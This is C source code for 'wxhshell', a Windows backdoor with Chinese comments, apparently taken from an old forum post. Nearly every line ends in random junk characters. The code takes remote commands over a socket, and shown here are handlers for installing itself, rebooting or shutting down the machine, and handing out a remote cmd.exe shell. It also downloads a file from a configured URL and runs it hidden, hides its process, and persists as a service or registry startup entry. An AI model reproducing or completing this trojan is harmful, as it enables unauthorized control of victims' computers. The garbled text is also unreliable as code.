    switch(cmd[0]) { c L]1f  
  ~u{uZ(~  
  // 帮助 SM '|+ d  
  case '?': { 0K+ne0I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kM 6 Qp  
    break; NbobliC=  
  } |)&%A%m  
  // 安装 GyIV Hby  
  case 'i': { 9?$i?  
    if(Install()) (Z*!#}z`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .`lCWeHN  
    else !i50QA|(G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gi8FHSU|G  
    break; wY#E?,  
    } R-:2HRaA  
  // 卸载 ?[AD=rUC  
  case 'r': { c$,P ~W s'  
    if(Uninstall()) HQ g^ h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]H->B29C  
    else sK{e*[I>W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9x8fhAy}4  
    break; 5R-6ji  
    } sB</DS  
  // 显示 wxhshell 所在路径 XSDpRo  
  case 'p': { Y73C5.dNcE  
    char svExeFile[MAX_PATH]; :h$$J lP  
    strcpy(svExeFile,"\n\r"); 0f/<7R  
      strcat(svExeFile,ExeFile); |>Vb9:q9Po  
        send(wsh,svExeFile,strlen(svExeFile),0); ok[i<zl; '  
    break; ixFi{_  
    } .8R@2c`}Cs  
  // 重启 m*pJBZxd  
  case 'b': { NUZl`fu1Z4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6<]lW  
    if(Boot(REBOOT)) 2iOV/=+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YVU7wW,1  
    else { 3Ul*QN{6  
    closesocket(wsh); S!UaH>Rh  
    ExitThread(0); 3<!7>]A  
    } M7T5 ~/4  
    break; Ey2^?  
    } 'V{W-W<  
  // 关机 QY/w  
  case 'd': { zdYjF|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r" y.KD^  
    if(Boot(SHUTDOWN)) 2:kH[#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ie_wHcM<  
    else { +R&gqja  
    closesocket(wsh); paK2 xX8E  
    ExitThread(0); Q?vlfZR`8  
    } (e~Nq  
    break; X, n:,'  
    } 6'/ #+,d'  
  // 获取shell D^O@'zP=At  
  case 's': { y0#2m6u  
    CmdShell(wsh); [6fQ7uFMM8  
    closesocket(wsh); =euni}7a  
    ExitThread(0); +rd+0 `}C  
    break; V&5wRz+`W  
  } =  [E  
  // 退出 8=l%5r^cq  
  case 'x': { cr3^6HB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  @5FQX  
    CloseIt(wsh); XTy x r  
    break; t# i #(H  
    } b;n[mk  
  // 离开 az$FnVNn=  
  case 'q': { ,F|f. 7;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p2eGm-Erq  
    closesocket(wsh); }tz7b#  
    WSACleanup(); [WmM6UEVS  
    exit(1); U/U);frH  
    break; K-4PI+qQ\  
        } S'" Df5  
  } U6K|fY N`  
  } UNYqft4  
CTb%(<r  
  // 提示信息 ]G\}k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AH^/V}9H  
} w<#!h6Y=  
  } +[VXs~I q  
Psf#c:*_)  
  return; kmW4:EA%  
} Y4-t7UlS;  
'DR!9De  
// shell模块句柄 eFgA 8kY)  
int CmdShell(SOCKET sock) ^[[P*NX3  
{ ;u JMG  
STARTUPINFO si; 7! Nsm  
ZeroMemory(&si,sizeof(si)); Tk}]Gev  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j%kncGS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HN"Z]/ 5j  
PROCESS_INFORMATION ProcessInfo; M]^5s;y  
char cmdline[]="cmd"; ;l+Leex  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); # d  
  return 0; Vr}'.\$  
} l#o ~W`  
aN?zmkPpov  
// 自身启动模式 /: "1Z]@  
int StartFromService(void) <)9y{J}s:  
{ CJ}%W#  
typedef struct 4Z*/WsCv  
{ )7F/O3Tq  
  DWORD ExitStatus; 4RO}<$Nx}  
  DWORD PebBaseAddress; 4s- !7  
  DWORD AffinityMask; e ,(mR+a8  
  DWORD BasePriority; vsPu*[%  
  ULONG UniqueProcessId; =cI(d ,  
  ULONG InheritedFromUniqueProcessId; P pb\6|*  
}   PROCESS_BASIC_INFORMATION; fhiM U8(&  
V gWRW7Se  
PROCNTQSIP NtQueryInformationProcess; ^q5#ihM  
XS#Qu=,-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hl"N}   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #mdc[.  
o!Zb0/AP)  
  HANDLE             hProcess; K+eM   
  PROCESS_BASIC_INFORMATION pbi; [0!(xp^  
01]f2.5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d{?LD?,)  
  if(NULL == hInst ) return 0; us-L]S+lm  
B#A6v0Ta  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -@'FW*b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lbgi7|&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wr 4,YQM  
XFl 6M~ c  
  if (!NtQueryInformationProcess) return 0; }bxs]?OW>  
c 9Mz]1@f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Q 3k 7  
  if(!hProcess) return 0; Txu/{ M,  
BGSw~6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y29m/i:  
P.cyO3l  
  CloseHandle(hProcess); -?\D\\+t  
@ArSC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jy)/%p~  
if(hProcess==NULL) return 0; O.? JmE  
Gc?a+T  
HMODULE hMod; _BufO7 `.  
char procName[255]; K(4_a``05  
unsigned long cbNeeded; 5BIY<B+i  
U^PgG|0N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dtDFoETz  
VY-EmbkG-t  
  CloseHandle(hProcess); 6ujW Nf  
I9^x,F"E]  
if(strstr(procName,"services")) return 1; // 以服务启动 &oNAv-m^GD  
Z,gk|M3.  
  return 0; // 注册表启动 F9^S"qv$  
} 203 s^K 61  
 mh%VrA q  
// 主模块 z{q`GwW  
int StartWxhshell(LPSTR lpCmdLine) ).O)p9  
{ KNl$3nX  
  SOCKET wsl; inL(X;@yo  
BOOL val=TRUE; "]*tLL:`  
  int port=0; 0-gAyiKx?  
  struct sockaddr_in door; @7 }W=HB  
>P(.:_ ^p  
  if(wscfg.ws_autoins) Install(); Uo49*Mr  
?,/ }`3Vw  
port=atoi(lpCmdLine); (3e 2c  
Py< }S-:  
if(port<=0) port=wscfg.ws_port; gGYKEq{j(  
R2NZ{"h  
  WSADATA data; T{ "(\X$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4+n\k  
)X7A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i b m4fa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pH;%ELZ  
  door.sin_family = AF_INET; %b0*H_ok7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jm@oDME_E  
  door.sin_port = htons(port); 4H/OBR  
SbZ6t$"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [g,}gyeS(  
closesocket(wsl); \V:^h [ad  
return 1; z?zL97H  
} >_} I.\ X  
!D6]JPX  
  if(listen(wsl,2) == INVALID_SOCKET) { qs6aB0ln  
closesocket(wsl); 3|7QU ld  
return 1; %<5'=t'|-U  
} |Tw~@kT@  
  Wxhshell(wsl); AA_%<zK  
  WSACleanup(); kAx4fE[c  
\e_O4  
return 0; M|-)GvR$J  
N`i/mP  
} fA-7VdR`R  
MD]>g>  
// 以NT服务方式启动 pAEx#ck  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CTK;dM'uQ  
{ *Ex|9FCt$  
DWORD   status = 0; 1YA% -~  
  DWORD   specificError = 0xfffffff; @HW*09TG  
ESs\O?nO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Tc^y%b0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iLT}oKF2N;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9mgIUjz  
  serviceStatus.dwWin32ExitCode     = 0; ^Cmyx3O^  
  serviceStatus.dwServiceSpecificExitCode = 0; $>gFf}#C  
  serviceStatus.dwCheckPoint       = 0; E^PB)D(.  
  serviceStatus.dwWaitHint       = 0; i4Jc.8^9$  
oU|c.mYe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |qLh5Ty  
  if (hServiceStatusHandle==0) return; =41xkAMnk  
8MBAtVmy  
status = GetLastError(); e!`i3KYn"  
  if (status!=NO_ERROR) !k%#R4*>  
{ q4q6c")zp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ex|F|0k4}  
    serviceStatus.dwCheckPoint       = 0; ijcm2FJcG  
    serviceStatus.dwWaitHint       = 0; c,22*.V/  
    serviceStatus.dwWin32ExitCode     = status; PFR:>^wK2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0V]s:S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l%ZhA=TKQ  
    return; tkhCw/  
  } YqG7h,F  
]4{H+rw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  -M2yw  
  serviceStatus.dwCheckPoint       = 0; Ymgw-NJ;(  
  serviceStatus.dwWaitHint       = 0; iE{&*.q_}>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Q,^3*HX9}  
} Q?T]MUY(L  
VpUAeWb  
// 处理NT服务事件,比如:启动、停止 &zhAh1m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8fb'yjIC  
{ >7r!~+B"9'  
switch(fdwControl) ,[Fb[#Qqb  
{ l,: F  
case SERVICE_CONTROL_STOP: Q&&@v4L   
  serviceStatus.dwWin32ExitCode = 0; m* ;ERK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v:p}B$  
  serviceStatus.dwCheckPoint   = 0; g>sSS8R O  
  serviceStatus.dwWaitHint     = 0; z2c6T.1M  
  { z~Q)/d,Ac  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *A< 5*Db:F  
  } ckn~#UE=  
  return; 5uf a  
case SERVICE_CONTROL_PAUSE: DMS! a$4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *H122njH+T  
  break; F/Pep?'  
case SERVICE_CONTROL_CONTINUE: _U0f=m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1}37Q&2  
  break; >+waX "e  
case SERVICE_CONTROL_INTERROGATE: cAy3^{3:  
  break; _6Ha  
}; 9kojLqCT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7KPwQ?SjT  
} $N\Ja*g  
mTh]PPo   
// 标准应用程序主函数 zJXplvaL;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -+5>|N#  
{ xpI wrJO  
P$sxr  
// 获取操作系统版本 X|[`P<'N<  
OsIsNt=GetOsVer(); IAEAhqp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4=.so~9odX  
2(nlJ7R  
  // 从命令行安装 b2]Kx&!  
  if(strpbrk(lpCmdLine,"iI")) Install(); bfO=;S]b!  
`kr?j:g  
  // 下载执行文件 B:QHwzd  
if(wscfg.ws_downexe) { BD-AI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^I\cAIB  
  WinExec(wscfg.ws_filenam,SW_HIDE); a6H%5N  
} ,P Z ge  
BC]?0 U  
if(!OsIsNt) { x:7IIvP  
// 如果时win9x,隐藏进程并且设置为注册表启动 {|\.i  
HideProc(); _w Ot39e&  
StartWxhshell(lpCmdLine); KF/-wZ"1s  
} fQ98(+6  
else +O5hH8<&b  
  if(StartFromService()) V+~Nalm O  
  // 以服务方式启动 +>9Q/E  
  StartServiceCtrlDispatcher(DispatchTable); L]Mo;kT<Q  
else *qMY22X  
  // 普通方式启动 v}(WaO#S  
  StartWxhshell(lpCmdLine); s79r@])=  
Il.K"ll  
return 0; >f'g0g  
}
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只看该作者 1 发表于: 2006-10-10
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